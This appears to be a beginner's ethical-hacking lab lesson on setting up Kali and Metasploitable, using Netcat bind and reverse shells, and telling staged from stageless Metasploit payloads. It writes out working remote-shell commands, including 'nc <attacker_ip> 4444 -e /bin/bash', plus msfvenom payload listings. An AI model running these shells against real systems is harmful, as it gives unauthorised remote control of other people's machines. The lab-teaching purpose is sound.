**Day 11 – Practical with Metasploit**

**1. Introduction**

Today’s session was all about actually using Metasploit and other tools to interact with a target machine.   
We focused on:  
1. Setting up Metasploitable (our intentionally vulnerable target machine).  
2. Learning about NAT networking and why it’s used.  
3. Understanding bind shells and reverse shells using Netcat.  
4. Learning staged vs. stageless payloads in Metasploit and how to identify them.  
  
If you’re new to ethical hacking, this lesson is essential — it teaches how an attacker can get remote access to another machine and why different payload delivery methods exist.

**2. What is Metasploitable?**

Metasploitable is a deliberately vulnerable Linux machine created by Rapid7.  
It is used for penetration testing practice.  
Think of it as a “dummy target” — it’s like a crash test dummy for cybersecurity.  
It contains weak passwords, outdated services, and security flaws that make it ideal for learning exploitation.

**3. Setting Up the Environment**

We used two virtual machines:  
- Attacker: Kali Linux  
- Target: Metasploitable  
  
Why Two Machines?  
In real life, an attacker connects to a victim machine remotely over a network.  
We simulate that in a safe environment by using Kali Linux (attacker) and Metasploitable (target).

**3.1 Connecting Both Machines**

We used NAT networking in VirtualBox.  
  
NAT (Network Address Translation) means both machines share the same internet connection but are separated from the real internet.  
They can talk to each other inside the virtual environment.  
They can also access the internet if needed.  
It’s safer than “Bridged” mode because external devices can’t reach them directly.

**3.2 Finding IP Addresses**

On both Kali and Metasploitable, we typed:  
ifconfig  
This shows the machine’s network configuration, including its IP address (e.g., 10.0.2.15).

**3.3 Testing the Connection**

To check if the two machines can talk:  
ping <target\_ip>  
Example:  
ping 10.0.2.15  
If we get replies (64 bytes from ...), the connection works.

**4. Introduction to Shells**

When we “get a shell” on another machine, it means:  
- We have command-line access.  
- We can type commands as if we were sitting at that machine.  
- We can run commands like whoami to see which user we are.  
  
Two main types for our lesson:  
1. Bind Shell  
2. Reverse Shell

**5. Using Netcat (nc)**

Netcat is like a “Swiss Army knife” for networking:  
- It can listen for connections.  
- It can connect to another machine.  
- It can even transfer files or execute commands remotely.

**5.1 Bind Shell – Step-by-Step**

In a bind shell:  
- The target machine opens a port.  
- The attacker connects to that port.  
- Once connected, the attacker can type commands on the target.  
  
Example:  
Target (Metasploitable):  
nc -lvnp 4444 -e /bin/bash  
Attacker (Kali):  
nc -v <target\_ip> 4444  
Once connected, running whoami shows the target’s username.  
  
Security Note: Bind shells don’t work well if the target is behind a firewall that blocks incoming connections.

**5.2 Reverse Shell – Step-by-Step**

In a reverse shell:  
- The attacker listens on a port.  
- The target connects back to the attacker.  
- Once connected, the attacker can type commands on the target.  
  
Example:  
Attacker (Kali):  
nc -lvnp 4444  
Target (Metasploitable):  
nc <attacker\_ip> 4444 -e /bin/bash  
Now the attacker can run whoami and control the target’s system.  
  
Advantage: Reverse shells often work better against firewalls since the target initiates the connection.

**6. Metasploit Payloads – Staged vs. Stageless**

A payload is the piece of code delivered to the target after exploitation.   
It defines what you want to do after gaining access.  
  
Staged Payload:  
- Sent in two parts: stager + stage.  
- Smaller initial code; bypasses size limits.  
Example: windows/meterpreter/reverse\_tcp  
  
Stageless Payload:  
- Sent all at once.  
- Larger but more reliable if the connection might drop.  
Example: windows/meterpreter\_reverse\_tcp

**6.4 Key Differences**

| Feature | Staged Payload | Stageless Payload |  
|---------------|--------------------------------|--------------------------------|  
| Delivery | Two parts | One part |  
| Size | Smaller first part | Larger total size |  
| Reliability | Needs stable connection | Works with unstable connections|  
| Stealth | More stealthy | Less stealthy |  
| Example | windows/meterpreter/reverse\_tcp| windows/meterpreter\_reverse\_tcp

**6.5 Listing Payloads**

To see all payloads:  
msfvenom -l payloads  
To find only reverse TCP ones:  
msfvenom -l payloads | grep "windows/meterpreter/reverse\_tcp"  
  
Tip:  
- Slash (/) before reverse\_tcp → staged payload.  
- Underscore (\_) before reverse\_tcp → stageless payload.

**7. Summary**

Today you learned:  
- How to connect Kali and Metasploitable using NAT.  
- How to find and test IP connectivity.  
- What bind shells and reverse shells are.  
- How Netcat can be used for remote access.  
- The difference between staged and stageless payloads in Metasploit.